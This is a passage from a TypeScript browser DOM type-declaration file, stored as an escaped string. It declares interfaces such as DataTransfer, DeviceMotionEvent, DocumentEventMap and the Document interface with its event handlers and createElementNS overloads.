CSSStyleSheet;\\n};\\n\\ninterface CSSSupportsRule extends CSSConditionRule {\\n}\\n\\ndeclare var CSSSupportsRule: {\\n    prototype: CSSSupportsRule;\\n    new(): CSSSupportsRule;\\n};\\n\\ninterface CustomEvent extends Event {\\n    readonly detail: any;\\n    initCustomEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, detailArg: any): void;\\n}\\n\\ndeclare var CustomEvent: {\\n    prototype: CustomEvent;\\n    new(typeArg: string, eventInitDict?: CustomEventInit): CustomEvent;\\n};\\n\\ninterface DataCue extends TextTrackCue {\\n    data: ArrayBuffer;\\n    addEventListener<K extends keyof TextTrackCueEventMap>(type: K, listener: (this: DataCue, ev: TextTrackCueEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var DataCue: {\\n    prototype: DataCue;\\n    new(): DataCue;\\n};\\n\\ninterface DataTransfer {\\n    dropEffect: string;\\n    effectAllowed: string;\\n    readonly files: FileList;\\n    readonly items: DataTransferItemList;\\n    readonly types: string[];\\n    clearData(format?: string): boolean;\\n    getData(format: string): string;\\n    setData(format: string, data: string): boolean;\\n    setDragImage(image: Element, x: number, y: number): void;\\n}\\n\\ndeclare var DataTransfer: {\\n    prototype: DataTransfer;\\n    new(): DataTransfer;\\n};\\n\\ninterface DataTransferItem {\\n    readonly kind: string;\\n    readonly type: string;\\n    getAsFile(): File | null;\\n    getAsString(_callback: FunctionStringCallback | null): void;\\n    webkitGetAsEntry(): any;\\n}\\n\\ndeclare var DataTransferItem: {\\n    prototype: DataTransferItem;\\n    new(): DataTransferItem;\\n};\\n\\ninterface DataTransferItemList {\\n    readonly length: number;\\n    add(data: File): DataTransferItem | null;\\n    clear(): void;\\n    item(index: number): DataTransferItem;\\n    remove(index: number): void;\\n    [index: number]: DataTransferItem;\\n}\\n\\ndeclare var DataTransferItemList: {\\n    prototype: DataTransferItemList;\\n    new(): DataTransferItemList;\\n};\\n\\ninterface DeferredPermissionRequest {\\n    readonly id: number;\\n    readonly type: MSWebViewPermissionType;\\n    readonly uri: string;\\n    allow(): void;\\n    deny(): void;\\n}\\n\\ndeclare var DeferredPermissionRequest: {\\n    prototype: DeferredPermissionRequest;\\n    new(): DeferredPermissionRequest;\\n};\\n\\ninterface DelayNode extends AudioNode {\\n    readonly delayTime: AudioParam;\\n}\\n\\ndeclare var DelayNode: {\\n    prototype: DelayNode;\\n    new(): DelayNode;\\n};\\n\\ninterface DeviceAcceleration {\\n    readonly x: number | null;\\n    readonly y: number | null;\\n    readonly z: number | null;\\n}\\n\\ndeclare var DeviceAcceleration: {\\n    prototype: DeviceAcceleration;\\n    new(): DeviceAcceleration;\\n};\\n\\ninterface DeviceLightEvent extends Event {\\n    readonly value: number;\\n}\\n\\ndeclare var DeviceLightEvent: {\\n    prototype: DeviceLightEvent;\\n    new(typeArg: string, eventInitDict?: DeviceLightEventInit): DeviceLightEvent;\\n};\\n\\ninterface DeviceMotionEvent extends Event {\\n    readonly acceleration: DeviceAcceleration | null;\\n    readonly accelerationIncludingGravity: DeviceAcceleration | null;\\n    readonly interval: number | null;\\n    readonly rotationRate: DeviceRotationRate | null;\\n    initDeviceMotionEvent(type: string, bubbles: boolean, cancelable: boolean, acceleration: DeviceAccelerationDict | null, accelerationIncludingGravity: DeviceAccelerationDict | null, rotationRate: DeviceRotationRateDict | null, interval: number | null): void;\\n}\\n\\ndeclare var DeviceMotionEvent: {\\n    prototype: DeviceMotionEvent;\\n    new(typeArg: string, eventInitDict?: DeviceMotionEventInit): DeviceMotionEvent;\\n};\\n\\ninterface DeviceOrientationEvent extends Event {\\n    readonly absolute: boolean;\\n    readonly alpha: number | null;\\n    readonly beta: number | null;\\n    readonly gamma: number | null;\\n    initDeviceOrientationEvent(type: string, bubbles: boolean, cancelable: boolean, alpha: number | null, beta: number | null, gamma: number | null, absolute: boolean): void;\\n}\\n\\ndeclare var DeviceOrientationEvent: {\\n    prototype: DeviceOrientationEvent;\\n    new(typeArg: string, eventInitDict?: DeviceOrientationEventInit): DeviceOrientationEvent;\\n};\\n\\ninterface DeviceRotationRate {\\n    readonly alpha: number | null;\\n    readonly beta: number | null;\\n    readonly gamma: number | null;\\n}\\n\\ndeclare var DeviceRotationRate: {\\n    prototype: DeviceRotationRate;\\n    new(): DeviceRotationRate;\\n};\\n\\ninterface DocumentEventMap extends GlobalEventHandlersEventMap {\\n    \"abort\": UIEvent;\\n    \"activate\": UIEvent;\\n    \"beforeactivate\": UIEvent;\\n    \"beforedeactivate\": UIEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"contextmenu\": PointerEvent;\\n    \"dblclick\": MouseEvent;\\n    \"deactivate\": UIEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"fullscreenchange\": Event;\\n    \"fullscreenerror\": Event;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    \"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSContentZoom\": UIEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSManipulationStateChanged\": MSManipulationEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"mssitemodejumplistitemremoved\": MSSiteModeEvent;\\n    \"msthumbnailclick\": MSSiteModeEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"pointerlockchange\": Event;\\n    \"pointerlockerror\": Event;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"readystatechange\": Event;\\n    \"reset\": Event;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"selectionchange\": Event;\\n    \"selectstart\": Event;\\n    \"stalled\": Event;\\n    \"stop\": Event;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n    \"webkitfullscreenchange\": Event;\\n    \"webkitfullscreenerror\": Event;\\n}\\n\\ninterface Document extends Node, GlobalEventHandlers, NodeSelector, DocumentEvent, ParentNode, DocumentOrShadowRoot {\\n    /**\\n     * Gets the object that has the focus when the parent document has focus.\\n     */\\n    readonly activeElement: Element;\\n    /**\\n     * Sets or gets the color of all active links in the document.\\n     */\\n    alinkColor: string;\\n    /**\\n     * Returns a reference to the collection of elements contained by the object.\\n     */\\n    readonly all: HTMLAllCollection;\\n    /**\\n     * Retrieves a collection of all a objects that have a name and/or id property. Objects in this collection are in HTML source order.\\n     */\\n    anchors: HTMLCollectionOf<HTMLAnchorElement>;\\n    /**\\n     * Retrieves a collection of all applet objects in the document.\\n     */\\n    applets: HTMLCollectionOf<HTMLAppletElement>;\\n    /**\\n     * Deprecated. Sets or retrieves a value that indicates the background color behind the object.\\n     */\\n    bgColor: string;\\n    /**\\n     * Specifies the beginning and end of the document body.\\n     */\\n    body: HTMLElement;\\n    readonly characterSet: string;\\n    /**\\n     * Gets or sets the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Gets a value that indicates whether standards-compliant mode is switched on for the object.\\n     */\\n    readonly compatMode: string;\\n    cookie: string;\\n    readonly currentScript: HTMLScriptElement | SVGScriptElement;\\n    readonly defaultView: Window;\\n    /**\\n     * Sets or gets a value that indicates whether the document can be edited.\\n     */\\n    designMode: string;\\n    /**\\n     * Sets or retrieves a value that indicates the reading order of the object.\\n     */\\n    dir: string;\\n    /**\\n     * Gets an object representing the document type declaration associated with the current document.\\n     */\\n    readonly doctype: DocumentType;\\n    /**\\n     * Gets a reference to the root node of the document.\\n     */\\n    documentElement: HTMLElement;\\n    /**\\n     * Sets or gets the security domain of the document.\\n     */\\n    domain: string;\\n    /**\\n     * Retrieves a collection of all embed objects in the document.\\n     */\\n    embeds: HTMLCollectionOf<HTMLEmbedElement>;\\n    /**\\n     * Sets or gets the foreground (text) color of the document.\\n     */\\n    fgColor: string;\\n    /**\\n     * Retrieves a collection, in source order, of all form objects in the document.\\n     */\\n    forms: HTMLCollectionOf<HTMLFormElement>;\\n    readonly fullscreenElement: Element | null;\\n    readonly fullscreenEnabled: boolean;\\n    readonly head: HTMLHeadElement;\\n    readonly hidden: boolean;\\n    /**\\n     * Retrieves a collection, in source order, of img objects in the document.\\n     */\\n    images: HTMLCollectionOf<HTMLImageElement>;\\n    /**\\n     * Gets the implementation object of the current document.\\n     */\\n    readonly implementation: DOMImplementation;\\n    /**\\n     * Returns the character encoding used to create the webpage that is loaded into the document object.\\n     */\\n    readonly inputEncoding: string | null;\\n    /**\\n     * Gets the date that the page was last modified, if the page supplies one.\\n     */\\n    readonly lastModified: string;\\n    /**\\n     * Sets or gets the color of the document links.\\n     */\\n    linkColor: string;\\n    /**\\n     * Retrieves a collection of all a objects that specify the href property and all area objects in the document.\\n     */\\n    links: HTMLCollectionOf<HTMLAnchorElement | HTMLAreaElement>;\\n    /**\\n     * Contains information about the current URL.\\n     */\\n    readonly location: Location;\\n    msCapsLockWarningOff: boolean;\\n    msCSSOMElementFloatMetrics: boolean;\\n    /**\\n     * Fires when the user aborts the download.\\n     * @param ev The event.\\n     */\\n    onabort: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the object is set as the active element.\\n     * @param ev The event.\\n     */\\n    onactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires immediately before the object is set as the active element.\\n     * @param ev The event.\\n     */\\n    onbeforeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires immediately before the activeElement is changed from the current object to another object in the parent document.\\n     * @param ev The event.\\n     */\\n    onbeforedeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the object loses the input focus.\\n     * @param ev The focus event.\\n     */\\n    onblur: (this: Document, ev: FocusEvent) => any;\\n    /**\\n     * Occurs when playback is possible, but would require further buffering.\\n     * @param ev The event.\\n     */\\n    oncanplay: (this: Document, ev: Event) => any;\\n    oncanplaythrough: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the contents of the object or selection have changed.\\n     * @param ev The event.\\n     */\\n    onchange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the left mouse button on the object\\n     * @param ev The mouse event.\\n     */\\n    onclick: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user clicks the right mouse button in the client area, opening the context menu.\\n     * @param ev The mouse event.\\n     */\\n    oncontextmenu: (this: Document, ev: PointerEvent) => any;\\n    /**\\n     * Fires when the user double-clicks the object.\\n     * @param ev The mouse event.\\n     */\\n    ondblclick: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the activeElement is changed from the current object to another object in the parent document.\\n     * @param ev The UI Event\\n     */\\n    ondeactivate: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires on the source object continuously during a drag operation.\\n     * @param ev The event.\\n     */\\n    ondrag: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the source object when the user releases the mouse at the close of a drag operation.\\n     * @param ev The event.\\n     */\\n    ondragend: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target element when the user drags the object to a valid drop target.\\n     * @param ev The drag event.\\n     */\\n    ondragenter: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target object when the user moves the mouse out of a valid drop target during a drag operation.\\n     * @param ev The drag event.\\n     */\\n    ondragleave: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the target element continuously while the user drags the object over a valid drop target.\\n     * @param ev The event.\\n     */\\n    ondragover: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Fires on the source object when the user starts to drag a text selection or selected object.\\n     * @param ev The event.\\n     */\\n    ondragstart: (this: Document, ev: DragEvent) => any;\\n    ondrop: (this: Document, ev: DragEvent) => any;\\n    /**\\n     * Occurs when the duration attribute is updated.\\n     * @param ev The event.\\n     */\\n    ondurationchange: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the media element is reset to its initial state.\\n     * @param ev The event.\\n     */\\n    onemptied: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the end of playback is reached.\\n     * @param ev The event\\n     */\\n    onended: (this: Document, ev: MediaStreamErrorEvent) => any;\\n    /**\\n     * Fires when an error occurs during object loading.\\n     * @param ev The event.\\n     */\\n    onerror: (this: Document, ev: ErrorEvent) => any;\\n    /**\\n     * Fires when the object receives focus.\\n     * @param ev The event.\\n     */\\n    onfocus: (this: Document, ev: FocusEvent) => any;\\n    onfullscreenchange: (this: Document, ev: Event) => any;\\n    onfullscreenerror: (this: Document, ev: Event) => any;\\n    oninput: (this: Document, ev: Event) => any;\\n    oninvalid: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user presses a key.\\n     * @param ev The keyboard event\\n     */\\n    onkeydown: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires when the user presses an alphanumeric key.\\n     * @param ev The event.\\n     */\\n    onkeypress: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires when the user releases a key.\\n     * @param ev The keyboard event\\n     */\\n    onkeyup: (this: Document, ev: KeyboardEvent) => any;\\n    /**\\n     * Fires immediately after the browser loads the object.\\n     * @param ev The event.\\n     */\\n    onload: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when media data is loaded at the current playback position.\\n     * @param ev The event.\\n     */\\n    onloadeddata: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the duration and dimensions of the media have been determined.\\n     * @param ev The event.\\n     */\\n    onloadedmetadata: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when Internet Explorer begins looking for media data.\\n     * @param ev The event.\\n     */\\n    onloadstart: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the object with either mouse button.\\n     * @param ev The mouse event.\\n     */\\n    onmousedown: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse over the object.\\n     * @param ev The mouse event.\\n     */\\n    onmousemove: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse pointer outside the boundaries of the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseout: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user moves the mouse pointer into the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseover: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the user releases a mouse button while the mouse is over the object.\\n     * @param ev The mouse event.\\n     */\\n    onmouseup: (this: Document, ev: MouseEvent) => any;\\n    /**\\n     * Fires when the wheel button is rotated.\\n     * @param ev The mouse event\\n     */\\n    onmousewheel: (this: Document, ev: WheelEvent) => any;\\n    onmscontentzoom: (this: Document, ev: UIEvent) => any;\\n    onmsgesturechange: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Document, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Document, ev: MSGestureEvent) => any;\\n    onmsinertiastart: (this: Document, ev: MSGestureEvent) => any;\\n    onmsmanipulationstatechanged: (this: Document, ev: MSManipulationEvent) => any;\\n    onmspointercancel: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Document, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Document, ev: MSPointerEvent) => any;\\n    /**\\n     * Occurs when an item is removed from a Jump List of a webpage running in Site Mode.\\n     * @param ev The event.\\n     */\\n    onmssitemodejumplistitemremoved: (this: Document, ev: MSSiteModeEvent) => any;\\n    /**\\n     * Occurs when a user clicks a button in a Thumbnail Toolbar of a webpage running in Site Mode.\\n     * @param ev The event.\\n     */\\n    onmsthumbnailclick: (this: Document, ev: MSSiteModeEvent) => any;\\n    /**\\n     * Occurs when playback is paused.\\n     * @param ev The event.\\n     */\\n    onpause: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the play method is requested.\\n     * @param ev The event.\\n     */\\n    onplay: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the audio or video has started playing.\\n     * @param ev The event.\\n     */\\n    onplaying: (this: Document, ev: Event) => any;\\n    onpointerlockchange: (this: Document, ev: Event) => any;\\n    onpointerlockerror: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs to indicate progress while downloading media data.\\n     * @param ev The event.\\n     */\\n    onprogress: (this: Document, ev: ProgressEvent) => any;\\n    /**\\n     * Occurs when the playback rate is increased or decreased.\\n     * @param ev The event.\\n     */\\n    onratechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the state of the object has changed.\\n     * @param ev The event\\n     */\\n    onreadystatechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user resets a form.\\n     * @param ev The event.\\n     */\\n    onreset: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user repositions the scroll box in the scroll bar on the object.\\n     * @param ev The event.\\n     */\\n    onscroll: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Occurs when the seek operation ends.\\n     * @param ev The event.\\n     */\\n    onseeked: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the current playback position is moved.\\n     * @param ev The event.\\n     */\\n    onseeking: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the current selection changes.\\n     * @param ev The event.\\n     */\\n    onselect: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the selection state of a document changes.\\n     * @param ev The event.\\n     */\\n    onselectionchange: (this: Document, ev: Event) => any;\\n    onselectstart: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the download has stopped.\\n     * @param ev The event.\\n     */\\n    onstalled: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the Stop button or leaves the Web page.\\n     * @param ev The event.\\n     */\\n    onstop: (this: Document, ev: Event) => any;\\n    onsubmit: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs if the load operation has been intentionally halted.\\n     * @param ev The event.\\n     */\\n    onsuspend: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs to indicate the current playback position.\\n     * @param ev The event.\\n     */\\n    ontimeupdate: (this: Document, ev: Event) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    /**\\n     * Occurs when the volume is changed, or playback is muted or unmuted.\\n     * @param ev The event.\\n     */\\n    onvolumechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when playback stops because the next frame of a video resource is not available.\\n     * @param ev The event.\\n     */\\n    onwaiting: (this: Document, ev: Event) => any;\\n    onwebkitfullscreenchange: (this: Document, ev: Event) => any;\\n    onwebkitfullscreenerror: (this: Document, ev: Event) => any;\\n    plugins: HTMLCollectionOf<HTMLEmbedElement>;\\n    readonly pointerLockElement: Element;\\n    /**\\n     * Retrieves a value that indicates the current state of the object.\\n     */\\n    readonly readyState: string;\\n    /**\\n     * Gets the URL of the location that referred the user to the current page.\\n     */\\n    readonly referrer: string;\\n    /**\\n     * Gets the root svg element in the document hierarchy.\\n     */\\n    readonly rootElement: SVGSVGElement;\\n    /**\\n     * Retrieves a collection of all script objects in the document.\\n     */\\n    scripts: HTMLCollectionOf<HTMLScriptElement>;\\n    readonly scrollingElement: Element | null;\\n    /**\\n     * Retrieves a collection of styleSheet objects representing the style sheets that correspond to each instance of a link or style object in the document.\\n     */\\n    readonly styleSheets: StyleSheetList;\\n    /**\\n     * Contains the title of the document.\\n     */\\n    title: string;\\n    /**\\n     * Sets or gets the URL for the current document.\\n     */\\n    readonly URL: string;\\n    /**\\n     * Gets the URL for the document, stripped of any character encoding.\\n     */\\n    readonly URLUnencoded: string;\\n    readonly visibilityState: VisibilityState;\\n    /**\\n     * Sets or gets the color of the links that the user has visited.\\n     */\\n    vlinkColor: string;\\n    readonly webkitCurrentFullScreenElement: Element | null;\\n    readonly webkitFullscreenElement: Element | null;\\n    readonly webkitFullscreenEnabled: boolean;\\n    readonly webkitIsFullScreen: boolean;\\n    readonly xmlEncoding: string | null;\\n    xmlStandalone: boolean;\\n    /**\\n     * Gets or sets the version attribute specified in the declaration of an XML document.\\n     */\\n    xmlVersion: string | null;\\n    adoptNode<T extends Node>(source: T): T;\\n    captureEvents(): void;\\n    caretRangeFromPoint(x: number, y: number): Range;\\n    clear(): void;\\n    /**\\n     * Closes an output stream and forces the sent data to display.\\n     */\\n    close(): void;\\n    /**\\n     * Creates an attribute object with a specified name.\\n     * @param name String that sets the attribute object\\'s name.\\n     */\\n    createAttribute(name: string): Attr;\\n    createAttributeNS(namespaceURI: string | null, qualifiedName: string): Attr;\\n    createCDATASection(data: string): CDATASection;\\n    /**\\n     * Creates a comment object with the specified data.\\n     * @param data Sets the comment object\\'s data.\\n     */\\n    createComment(data: string): Comment;\\n    /**\\n     * Creates a new document.\\n     */\\n    createDocumentFragment(): DocumentFragment;\\n    /**\\n     * Creates an instance of the element for the specified tag.\\n     * @param tagName The name of an element.\\n     */\\n    createElement<K extends keyof HTMLElementTagNameMap>(tagName: K): HTMLElementTagNameMap[K];\\n    createElement(tagName: string): HTMLElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", qualifiedName: string): HTMLElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"a\"): SVGAElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"circle\"): SVGCircleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"clipPath\"): SVGClipPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"componentTransferFunction\"): SVGComponentTransferFunctionElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"defs\"): SVGDefsElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"desc\"): SVGDescElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"ellipse\"): SVGEllipseElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feBlend\"): SVGFEBlendElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feColorMatrix\"): SVGFEColorMatrixElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feComponentTransfer\"): SVGFEComponentTransferElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feComposite\"): SVGFECompositeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feConvolveMatrix\"): SVGFEConvolveMatrixElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDiffuseLighting\"): SVGFEDiffuseLightingElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDisplacementMap\"): SVGFEDisplacementMapElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDistantLight\"): SVGFEDistantLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFlood\"): SVGFEFloodElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncA\"): SVGFEFuncAElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncB\"): SVGFEFuncBElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncG\"): SVGFEFuncGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncR\"): SVGFEFuncRElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feGaussianBlur\"): SVGFEGaussianBlurElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feImage\"): SVGFEImageElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMerge\"): SVGFEMergeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMergeNode\"): SVGFEMergeNodeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMorphology\"): SVGFEMorphologyElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feOffset\"): SVGFEOffsetElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"fePointLight\"): SVGFEPointLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feSpecularLighting\"): SVGFESpecularLightingElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feSpotLight\"): SVGFESpotLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feTile\"): SVGFETileElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feTurbulence\"): SVGFETurbulenceElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"filter\"): SVGFilterElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"foreignObject\"): SVGForeignObjectElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"g\"): SVGGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"image\"): SVGImageElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"gradient\"): SVGGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"line\"): SVGLineElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"linearGradient\"): SVGLinearGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"marker\"): SVGMarkerElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"mask\"): SVGMaskElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"path\"): SVGPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"metadata\"): SVGMetadataElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"pattern\"): SVGPatternElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"polygon\"): SVGPolygonElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"polyline\"): SVGPolylineElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"radialGradient\"): SVGRadialGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"rect\"): SVGRectElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"svg\"): SVGSVGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"script\"): SVGScriptElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"stop\"): SVGStopElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"style\"): SVGStyleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"switch\"): 